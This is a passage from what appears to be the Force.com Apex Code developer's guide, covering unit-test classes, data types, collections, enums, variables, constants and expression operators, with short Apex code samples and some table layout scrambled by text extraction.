To add testing to your program, you need to create a new class. To create a class, click Setup Develop Apex Classes, then click New. In the Body text box of the class, add the following:
@isTest private class HelloWorldTestClass { static testMethod void validateHelloWorld() { Account a = new Account(name='T1 Account'); // Insert account insert a; // Retrieve account a = [SELECT hello__c FROM account WHERE Id =:a.id]; // Test that HelloWorld program correctly added the value // "World" to the Hello field System.assertEquals('World', a.hello__c); } }

Be sure to click Save when you have finished. This class is defined using the annotation @isTest. Classes defined as such can only contain test methods. One advantage to creating a separate class for testing as opposed to adding test methods to an existing class is that classes defined with isTest do not count against your organization limit of 1 MB for all Apex scripts. You can also add the @isTest annotation to individual methods. For more information, see IsTest on page 108 and Understanding Execution Governors and Limits on page 166. The method validateHelloWorld is defined as a testMethod. This means that if any changes are made to the database, they are automatically rolled back when execution is complete. First the test method creates a new account and inserts it into the database temporarily.
Account a = new Account(name='T1 Account'); // Insert account insert a;

Once the account is inserted, the code retrieves the account, using the ID that was initially assigned to the account when it was inserted:
// Retrieve account a = [SELECT hello__c FROM account WHERE Id =:a.id];

When the HelloWorld class runs, it is supposed to insert the word World into the hello__c field. The following line is the actual test, verifying that the method addHelloWorld actually ran, and produced the expected results:
// Test that HelloWorld program correctly added the value // "World" to the Hello field System.assertEquals('World', a.hello__c);

To run this unit test, click Setup Develop Apex Classes, click the name of the class, HelloWorldTestClass, then click Run Test. The result page for running unit tests contains the following sections. Each section can be expanded or collapsed. A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that are covered by unit tests

23

Introducing Force.com Apex Code

Writing Your First Apex Script

Important: You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production environments. In addition, all triggers should have some test coverage. Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests.

Test failures, if any A code coverage section This section lists all the classes and triggers in your organization and the percentage of lines of code in each class and trigger that are covered by tests. If you click on the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.

Test coverage warnings, if any The debug log The debug log is automatically set to the PROFILE log level. You cannot change the log level. The PROFILE log level includes log messages generated by calls to the System.debug method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time, along with the number of times they were executed.

The following is an example of the top half of the result page:

24

Introducing Force.com Apex Code

Writing Your First Apex Script

Figure 6: HelloWorldTest Result Page

25

Chapter 2
Language Constructs
In this chapter ... Data Types Variables Expressions Assignment Statements Conditional (If-Else) Statements Loops SOQL and SOSL Queries Locking Statements Transaction Control Exception Statements
The following language constructs form the base parts of Apex: Data Types Variables Expressions Assignment Statements Conditional (If-Else) Statements Loops SOQL and SOSL Queries Locking Statements Transaction Control Exception Statements

Apex scripts are contained in either a trigger or a class. For more information, see Triggers on page 65 and Classes, Objects, and Interfaces on page 83.

26

Language Constructs

Data Types

Data Types
In Apex, all variables and expressions have a data type that is one of the following: A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27) An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject Types on page 30) A collection, including: A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page 33) A set of primitives (see Sets on page 35) A map from a primitive to a primitive, sObject, or collection (see Maps on page 36)

A typed list of values, also known as an enum (see Enums on page 37) Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 83) Objects created from system supplied Apex classes (see Apex Classes on page 288) Null (for the null constant, which can be assigned to any variable)

Methods can return values of any of the listed types, or return no value and be of type Void. Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of the error. For more information, see Debugging Apex on page 162.

Primitive Data Types

Apex uses the same primitive data types as the Force.com Web Services API. These include: Data Type Blob Description A collection of binary data stored as a single object. You can convert this datatype to String or from String using the toString and valueOf methods, respectively. Blobs can be accepted as Web service arguments, stored in a document (the body of a document is a Blob), or sent as attachments. See Crypto Class on page 338 for more information. A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;

Boolean

Date

A value that indicates a particular day. Unlike Datetime values, Date values contain no information about time. Date values must always be created with a system static method. You cannot manipulate a Date value, such as add days, merely by adding a number to a Date variable. You must use the Date methods instead.

Datetime

A value that indicates a particular day and time, such as a timestamp. Datetime values must always be created with a system static method. You cannot manipulate a Datetime value, such as add minutes, merely by adding a number to a Datetime variable. You must use the Datetime methods instead.

27

Language Constructs

Primitive Data Types

Data Type Decimal

Description A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields are automatically assigned the type Decimal. If you do not explicitly set the scale, that is, the number of decimal places, for a Decimal using the setScale method, the scale is determined by the item from which the Decimal is created. If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.

Double

A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum value of 263-1. For example:
Double d=3.14159;

Note that scientific notation (e) for Doubles is not supported. ID Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';

Note that if you set ID to a 15-character value, Apex automatically converts the value to its 18-character representation. All invalid ID values are rejected with a runtime exception. Integer A 32-bit number that does not include a decimal point. Integers have a minimum value of -2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;

Long

A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a maximum value of 263-1. Use this datatype when you need a range of values wider than those provided by Integer. For example:
Long l = 2147483648L;

String

Any set of characters surrounded by single quotes. For example,

String s = 'The quick brown fox jumped over the lazy dog.';

Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in the Web Services API: they can never be empty (only null), and they can never include leading and trailing whitespace. These conventions are necessary for database storage. Conversely, Strings in Apex can be null or empty, and can include leading and trailing whitespace (such as might be used to construct a message). The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is created or updated. In the following example,

28

Language Constructs

Primitive Data Types

Data Type

Description when the Solution displays on a detail page, the SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) { Trigger.new[0].SolutionNote ='<h1>hello</h1>'; }

In the following example, when the Solution displays on a detail page, the SolutionNote field only contains HelloGoodbye:
trigger t2 on Solution (before insert) { Trigger.new[0].SolutionNote = '<javascript>Hello</javascript>Goodbye'; }

For more information, see What are HTML Solutions? in the Salesforce.com online help. Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b (backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote), \' (single quote), and \\ (backslash). Comparison Operators: Unlike Java, Apex Strings support use of the comparison operators ==, !=, <, <=, >, and >=. Since Apex uses SOQL comparison semantics, results for Strings are collated according to the context user's locale, and `are not case sensitive. For more information, see Operators on page 42. String Methods: As in Java, Strings can be manipulated with a number of standard methods. See String Methods for information. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Time A value that indicates a particular time. Time values must always be created with a system static method. See Time Methods on page 226 for information.

In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods: AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within the Force.com platform database exclusively for sObject fields in field history tracking tables. Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.

For more information on the AnyType data type, see www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm in the Force.com Web Services API Developer's Guide.

29

Language Constructs

sObject Types

sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject variable represents a row of data and can only be declared in Apex using the Web Services API name of the object. For example:
Account a = new Account(); MyCustomObject__c co = new MyCustomObject__c();

Similar to the Web Services API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used in code that processes different types of sObjects. The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();

You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above // into a specific account and account variable a Account a = (Account)s; // The following generates a runtime error Contact c = (Contact)s;

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects. sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();

Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

For information on accessing existing sObjects from the Force.com platform database, see SOQL and SOSL Queries on page 55. Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is initially inserted to the database for the first time. For more information see Lists on page 33. Custom Labels Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;

For more information on custom labels, see Custom Labels Overview in the Salesforce.com online help.

30

Language Constructs

sObject Types

Accessing sObject Fields As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account(); a.name = 'Acme'; // Access the account name field and assign it 'Acme'

System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be changed. If you use the generic sObject type, instead of a specific object such as Account, you can only retrieve the ID field. For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco'); Insert a; sObject s = [select id, name from account where name = 'Acme' limit 1]; // This is allowed ID id = s.ID; // The following lines result in errors when you try to save String x = s.name; s.ID = [select id from Account where name = 'Acme' limit 1];

Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person accounts. If your script creates a new account using name, a business account is created. If the script uses LastName, a person account is created. If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco'); Insert a; sObject s = [select id, name from account where name = 'Acme' limit 1]; ID id = s.ID; Account convertedAccount = (Account)s; convertedAccount.name = 'Acme2'; Update convertedAccount; Contact sal = new Contact(firstname = 'Sal', account = convertedAccount);

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA { List<Contact> contacts; List<Lead> leads; List<Account> accounts; public void convertType(Integer phoneNumber) { List<List<sObject>> results = [find {4155557000} in phone fields returning contact(id, phone, firstname, lastname), lead(id, phone, firstname, lastname), account(id, phone, name)]; sObject[] records = ((List<sObject>)results[0]); if (!records.isEmpty()) { for (Integer i = 0; i < records.size(); i++) { sObject record = records[i]; if (record.getSObjectType() == Contact.sObjectType) { contacts.add((Contact) record); } else if (record.getSObjectType() == Lead.sObjectType){ leads.add((Lead) record); } else if (record.getSObjectType() == Account.sObjectType) { accounts.add((Account) record);

31

Language Constructs

sObject Types

} } } } }

Accessing sObject Fields Through Relationships sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account that points to the associated sObject record itself. The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note below). For example, the following Apex script shows how an account and a contact can be associated with one another, and then how the contact can be used to modify a field on the account: Note: In order to provide the most complete example, this code uses some elements that are described later in this guide: For information on insert and update, see Insert Operation on page 194 and Update Operation on page 194. For information on SOQL and SOSL, see SOQL and SOSL Queries on page 55.

Account a = new Account(name = 'Acme'); insert a; // Inserting the record automatically assigns a // value to its ID field Contact c = new Contact(lastName = 'Weissman'); c.accountId = a.Id; // The new contact now points at the new account insert c; // A SOQL query accesses data for the inserted contact, // including a populated c.account field c = [select account.name from contact where id = :c.id]; // Now fields in both records can be changed through the contact c.account.name = 'salesforce.com'; c.lastName = 'Roth'; // To update the database, the two types of records must be // updated separately update c; // This only changes the contact's last name update c.account; // This updates the account name

Note: The expression c.account.name, as well as any other expression that traverses a relationship, displays slightly different characteristics when it is read as a value than when it is modified: When being read as a value, if c.account is null, then c.account.name evaluates to null, but does not yield a NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having to check for null values. When being modified, if c.account is null, then c.account.name does yield a NullPointerException.

In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345'); Contact c = new Contact(account = refAcct, lastName = 'Kay');

32

Language Constructs

Collections

insert c;

This inserts a new contact with the AccountId equal to the account with the external_id equal to 12345. If there is no such account, the insert fails. Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on execution limits, see Understanding Execution Governors and Limits on page 166.
Account refAcct = [select id from Account where externalId__c='12345']; Contact c = new Contact(account = refAcct.id); Insert c;

Validating sObjects and Fields When an Apex script is parsed and validated, all sObject and field references are validated against actual object and field names, and a parse-time exception is thrown when an invalid name is used. In addition, the Apex parser tracks the custom objects and fields that are used, both in the script's syntax as well as in embedded SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause an Apex script to become invalid: Changing a field or object name Converting from one data type to another Deleting a field or object Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Collections
Apex has the following types of collections: Lists Maps Sets

Lists A list is an ordered collection of typed primitives, sObjects, user-defined objects, Apex objects or collections that are distinguished by their indices. For example, the following table is a visual representation of a list of Strings: Index 0 'Red' Index 1 'Orange' Index 2 'Yellow' Index 3 'Green' Index 4 'Blue' Index 5 'Purple'

The index position of the first element in a list is always 0. Because lists can contain any collection, they can be nested within one another and become multidimensional. For example, you can have a list of lists of sets of Integers. A list can only contain up to five levels of nested collections inside it.

33

Language Constructs

Collections

To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For example:
// Create an empty list of String List<String> my_list = new List<String>(); // Create a nested list List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>(); // Create a list of account records from a SOQL query List<Account> accs = [SELECT Id, Name FROM Account LIMIT 1000];

To access elements in a list, use the system methods provided by Apex. For example:
List<Integer> MyList = new List<Integer>(); // Define a new list MyList.add(47); // Adds a second element of value 47 to the end // of the list MyList.get(0); // Retrieves the element at index 0 MyList.set(0, 1); // Adds the integer 1 to the list at index 0 MyList.clear(); // Removes all elements from the list

For more information, including a complete list of all supported methods, see List Methods on page 228. Note: Lists can have no more than 1,000 elements, and will generate a runtime exception if they surpass this limit. For more information on execution limits, see Understanding Execution Governors and Limits on page 166. Using Array Notation for One-Dimensional Lists of Primitives or sObjects When using one-dimensional lists of primitives or sObjects, you can also use more traditional array notation to declare and reference list elements. For example, you can declare a one-dimensional list of primitives or sObjects by following the data or sObject type name with the [] characters:
String[] colors = new List<String>();

To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index position in square brackets. For example:
colors[3] = 'Green';

All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example: Example
List<Integer> ints = new Integer[0];

Description Defines an Integer list with no elements Defines an Account list with no elements Defines an Integer list with memory allocated for six Integers Defines an Account list with memory allocated for three Accounts, including a new Account object in the first position, null in the second position, and another new Account object in the third position Defines the Contact list with a new list

List<Account> accts = new Account[]{};

List<Integer> ints = new Integer[6];

List<Account> accts = new Account[] {new Account(), null, new Account()};

List<Contact> contacts = new List<Contact> (otherList);

34

Language Constructs

Collections

Lists of sObjects Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same structure in memory, which is illegal. For example, the insert statement in the following block of code generates a ListException because it tries to insert a list with two references to the same sObject (a):
try { // Create a list with two references to the same sObject element Account a = new Account(); Account[] accs = new Account[]{a, a}; // Attempt to insert it... insert accs; // Will not get here System.assert(false); } catch (ListException e) { // But will get here }

For more information on DML statements, see Apex Data Manipulation Language (DML) Operations on page 189. You can use the generic sObject data type with lists. You cannot create a generic instance of a list. Only concrete lists can be created; however, a list can be passed around (or into methods or interfaces) using the generic sObject type. For example:
sObject[] ss = new Account[0]; List<Account> aa = (List<Account>)ss;

Sets A set is an unordered collection of primitives that do not contain any duplicate elements. For example, the following table represents a set of city names: 'San Francisco' 'New York' 'Paris' 'Tokyo'

To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()

The following are ways to declare and populate a set:

Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the // elements of the set created in the previous step

To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>(); s.add(1); System.assert(s.contains(1)); s.remove(1); // // // // Define Add an Assert Remove a new set element to the set that the set contains an element the element from the set

35

Language Constructs

Collections

For more information, including a complete list of all supported set system methods, see Set Methods on page 235. Note the following limitations on sets: Sets can have no more than 1,000 elements, and will generate a runtime exception if they surpass this limit. For more information on execution limits, see Understanding Execution Governors and Limits on page 166. Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example, HashSet or TreeSet). Apex uses a hash structure for all sets. A set is an unordered collection. Do not rely on the order in which set results are returned. The order of objects returned by sets may change without warning.

Maps A map is a collection of key-value pairs where each unique key maps to a single value. Keys can be any primitive data type, while values can be a primitive, sObject, collection type or an Apex object. For example, the following table represents a map of countries and currencies: Country (Key) Currency (Value) 'United States' 'Dollar' 'Japan' 'Yen' 'France' 'Euro' 'England' 'Pound' 'India' 'Rupee'

Similar to lists, map values can contain any collection, and can be nested within one another. For example, you can have a map of Integers to maps, which, in turn, map Strings to lists. A map can only contain up to five levels of nested collections inside it. To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>(); Map<ID, Set<String>> m = new Map<ID, Set<String>>(); Map<ID, Map<ID, Account[]>> m2 = new Map<ID, Map<ID, Account[]>>();

You can use the generic sObject data type with maps. You cannot create a generic instance of a map. Only concrete collections can be created; however, they can be passed around (or into methods or interfaces) using the generic sObject type. As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' => 'd'.toUpperCase()}; Account[] accs = new Account[5]; // Account[] is synonmous with List<Account> Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

In the first example, the value for the key a is b, and the value for the key c is d. In the second, the key 1 has the value of the list accs. To access elements in a map, use the system methods provided by Apex. For example:
Account myAcct = new Account(); //Define a new account Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map m.put(1, myAcct); // Insert a new key-value pair in the map System.assert(!m.containsKey(3)); // Assert that the map contains a key Account a = m.get(1); // Retrieve a value, given a particular key Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map

For more information, including a complete list of all supported map system methods, see Map Methods on page 232. Note the following limitations on maps:

36

Language Constructs

Enums

Maps can have no more than 1,000 elements, and will generate a runtime exception if they surpass this limit. For more information on execution limits, see Understanding Execution Governors and Limits on page 166. Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for example, HashMap or TreeMap). Apex uses a hash structure for all maps. Do not rely on the order in which map results are returned. The order of objects returned by maps may change without warning. Always access map elements by key.

Maps from SObject Arrays Maps from an ID or String data type to an sObject can be initialized from a list of sObjects. The IDs of the objects (which must be non-null and distinct) are used as the keys. One common usage of this map type is for in-memory joins between two tables. For instance, this example loads a map of IDs and Contacts:
Map<ID, Contact> m = new Map<ID, Contact>([select id, lastname from contact]);

In the example, the SOQL query returns a list of contacts with their id and lastname fields. The new operator uses the list to create a map. For more information, see SOQL and SOSL Queries on page 55. Iterating Collections Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes them. Adding Elements During Iteration To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original after you finish iterating the collection. Removing Elements During Iteration To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements you wish to remove to a temporary list and remove them after you finish iterating the collection. Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications. To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you finish iterating the collection.

Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically used to define a set of possible values that do not otherwise have a numerical order, such as the suit of a card, or a particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you do not inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be declared of that type. Note: Unlike Java, the enum type itself has no constructor syntax.

To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example, the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}

37

Language Constructs

Enums

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might any other data type. For example:
Season e = Season.WINTER; Season m(Integer x, Season e) { If (e == Season.SUMMER) return e; //... }

You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you assign to it must be an instance of that enum class. Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions for the enum and its values, which can then be used by the API client. Apex provides the following system-defined enums:
System.StatusCode

This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see Downloading Salesforce.com WSDLs and Client Authentication Certificates in the Salesforce.com online help.
System.XmlTag:

This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see XmlStreamReader Class on page 345.
System.LoggingLevel:

This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System Methods on page 276.
System.RoundingMode:

This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as the Decimal divide method and the Double round method. For more information, see Rounding Mode on page 218.
System.SoapType:

This enum is returned by the field describe result getSoapType method. For more informations, see Schema.SOAPType Enum Values on page 251.
System.DisplayType:

This enum is returned by the field describe result getType method. For more information, see Schema.DisplayType Enum Values on page 249.
ApexPages.Severity:

38

Language Constructs

Understanding Rules of Conversion

This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum on page 313. Note: System-defined enums cannot be used in Web service methods.

All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods on page 238. You cannot add user-defined methods to enum values.

Understanding Rules of Conversion

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted, without using a method. Numbers form a hierarchy of types Variables of lower numeric types can always be assigned to higher types without explicit conversion. The following is the hierarchy for numbers, from lowest to highest: 1. 2. 3. 4. Integer Long Double Decimal Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the higher type of number. Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and implicit object conversion is never allowed. In addition to numbers, other data types can be implicitly converted. The following rules apply: IDs can always be assigned to Strings. Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime exception is thrown. The instanceOf keyword can always be used to test whether a string is an ID.

Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0; String str; Account a; Account[] accts; Set<String> s; Map<ID, Account> m;

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;

39

Language Constructs

Case Sensitivity

All variables allow null as a value and are initialized to null if they are not assigned another value. For instance, in the following example, i, and k are assigned values, while j is set to null because it is not assigned:
Integer i = 0, j, k = 1;

Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks cannot redefine a variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i; { // Integer i; }

This declaration is not allowed

for (Integer j = 0; j < 10; j++); for (Integer j = 0; j < 10; j++);

Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means: Variable and method names are case insensitive. For example:
Integer I; //Integer i;

This would be an error.

References to object and field names are case insensitive. For example:
Account a1; ACCOUNT a2;

SOQL and SOSL statements are case insensitive. For example:

Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];

Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the Web Services API and the Salesforce.com user interface. The use of these semantics can lead to some interesting behavior. For example, if an end user generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently, in Apex, the following expressions all evaluate to true:
String s; System.assert('a' == 'A'); System.assert(s < 'b'); System.assert(!(s > 'b'));

Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because you are trying to compare a letter to a null value.

40

Language Constructs

Constants

Constants
Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer method if the constant is defined in a class. For example:
public class myCls { static final Integer static final Integer

PRIVATE_INT_CONST; PRIVATE_INT_CONST2 = 200;

public static Integer calculate() { return 2 + 7; } static { PRIVATE_INT_CONST = calculate(); } }

For more information, see Using the final Keyword on page 103.

Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section provides an overview of expressions in Apex and contains the following: Understanding Expressions on page 41 Understanding Expression Operators on page 42 Understanding Operator Precedence on page 47 Extending sObject and List Expressions on page 48 Using Comments on page 48

Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an expression is always one of the following types: A literal expression. For example:
1 + 1

A new sObject, Apex object, list, set, or map. For example:

new new new new new new new Account(<field_initializers>) Integer[<n>] Account[]{<elements>} List<Account>() Set<String>{} Map<String, Integer>() myRenamingClass(string oldName, string newName)

41

Language Constructs

Understanding Expression Operators

Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and most sObject or Apex object field references. For example:
Integer i myList[3] myContact.name myRenamingClass.oldName

Any sObject field reference that is not an L-value, including: The ID of an sObject in a list (see Lists) A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type of expression yields a query result, much like a SOQL and SOSL Queries on page 55.

A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [select id, name from account where name ='Acme']; Integer i = [select count() from contact where lastname ='Weissman']; List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead];

For information, see SOQL and SOSL Queries on page 55. A static or instance method invocation. For example:
System.assert(true) myRenamingClass.replaceNames() changePoint(new Point(x, y));

Understanding Expression Operators

Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators: Operator
=

Syntax
x = y

Description Assignment operator (Right associative). Assigns the value of y to the L-value x. Note that the data type of x must match the data type of y, and cannot be null. Addition assignment operator (Right associative). Adds the value of y to the original value of x and then reassigns the new value to x. See + for additional information. x and y cannot be null. Multiplication assignment operator (Right associative). Multiplies the value of y with the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. Subtraction assignment operator (Right associative). Subtracts the value of y from the original value of x and then reassigns the new value to x. Note that x and y must be Integers or Doubles, or a combination. x and y cannot be null. Division assignment operator (Right associative). Divides the original value of x with the value of y and then reassigns the new value to x. Note that x

+=

x += y

*=

x *= y

-=

x -= y

/=

x /= y

42

Language Constructs

Understanding Expression Operators

Operator

Syntax

Description and y must be Integers or Doubles, or a combination. x and y cannot be null.

|=

x |= y

OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both false, then x remains false. Otherwise, x is assigned the value of true. Note: This operator exhibits short-circuiting behavior, which means y is evaluated only if x is false. x and y cannot be null.

&=

x &= y

AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean, are both true, then x remains true. Otherwise, x is assigned the value of false. Note: This operator exhibits short-circuiting behavior, which means y is evaluated only if x is true. x and y cannot be null.

<<=

x <<= y

Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. This value is then reassigned to x. Bitwise shift right signed assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. This value is then reassigned to x. Bitwise shift right unsigned assignment operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. This value is then reassigned to x. Ternary operator (Right associative). This operator acts as a short-hand for if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the result. Note that x cannot be null. AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both true, then the expression evaluates to true. Otherwise the expression evaluates to false. Note:
&& has precedence over ||

>>=

x >>= y

>>>=

x >>>= y

? :

x ? y : z

&&

x && y

This operator exhibits short-circuiting behavior, which means y is evaluated only if x is true. x and y cannot be null.

43

Language Constructs

Understanding Expression Operators

Operator
||

Syntax
x || y

Description OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both false, then the expression evaluates to false. Otherwise the expression evaluates to true. Note:
&& has precedence over ||

